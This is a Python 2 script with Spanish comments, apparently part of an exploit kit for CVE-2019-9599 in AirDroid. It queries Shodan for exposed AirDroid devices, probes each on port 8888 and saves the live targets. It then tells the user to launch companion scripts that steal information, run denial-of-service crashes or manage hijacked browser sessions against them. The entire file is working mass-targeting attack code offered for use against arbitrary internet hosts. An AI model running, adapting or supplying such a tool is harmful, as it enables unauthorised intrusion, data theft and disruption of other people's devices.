README.md
Rendering markdown...
#!/usr/bin/python
# coding: utf-8
# CVE-2019-9599 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9599)
# --------------------------------------------------
# \ \
# \ AirDroid Remote Steal Information \
# \ Hecho por: Marcelo Vázquez (aka s4vitar) \
# \ \
# --------------------------------------------------
import shodan, requests, time, os, sys, signal, threading
# Usa tu API KEY de Shodan
SHODAN_API_KEY = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
api = shodan.Shodan(SHODAN_API_KEY)
def handler(signum, frame):
print '\nSaliendo...\n'
os.system('setterm -cursor on')
sys.exit(0)
def checkurl(ip, available_urls):
url = "http://" + ip + ":8888/"
try:
url_check_status = requests.get(url, verify=False, timeout=3)
if url_check_status.status_code == 200:
print "URL " + url + " activa!!\n"
available_urls.append(url)
except:
pass
def get_IPS(ips_array):
try:
results = api.search('Airdroid')
except shodan.APIError, error:
print 'Error: {0}'.format(error)
ips = []
for result in results['matches']:
ips.append("{0}".format(result['ip_str']))
for ip in ips:
ips_array.append(ip)
if __name__ == '__main__':
signal.signal(signal.SIGINT, handler)
os.system('setterm -cursor off')
available_urls = []
print "\n[*] Obteniendo listado de IPs...\n"
# Recopilamos todas las IPs listadas desde Shodan para Airdroid
ips_array = []
get_IPS(ips_array)
print "[*] Número total de IPs obtenidas:", len(ips_array)
time.sleep(2)
print "\n[*] Comprobando objetivos...\n"
time.sleep(2)
threads = []
for host in ips_array:
t = threading.Thread(target=checkurl, args=(host, available_urls,))
threads.append(t)
for x in threads:
x.start()
for x in threads:
x.join()
print "[*] Las URLs activas han sido exportadas al fichero 'ips'...\n"
time.sleep(2)
f = open('ips', "w")
for host in available_urls:
f.write(host + '\n')
f.close()
print "[*] Ejecuta el script 'AttackHosts.py' para iniciar el ataque contra los activos recopilados\n"
time.sleep(2)
print "[*] Ejemplo...\n"
time.sleep(1)
print "$ python AttackHosts.py " + '\n'
time.sleep(1)
print "[*] También puedes hacer un ataque dirigido a un único objetivo a través del fichero 'AttackHost.py' seguido de la URL\n"
time.sleep(2)
print "[*] Ejemplo...\n"
time.sleep(1)
print "$ python AttackHost.py " + available_urls[0] + '\n'
time.sleep(1)
print "[*] En caso de querer elaborar el ataque Remote DoS Application & System Crash contra los activos, ejecuta los scripts 'airdroid_dos.sh' o 'airdroid_fast_dos.sh'...\n"
time.sleep(2)
print "[*] Ejemplo...\n"
time.sleep(1)
print "$ python airdroid_fast_dos.sh http://ip:8888" + '\n'
time.sleep(1)
print "[*] En caso de querer gestionar las sesiones del navegador, ejecuta el script 'web_browser.py'...\n"
time.sleep(2)
os.system('setterm -cursor on')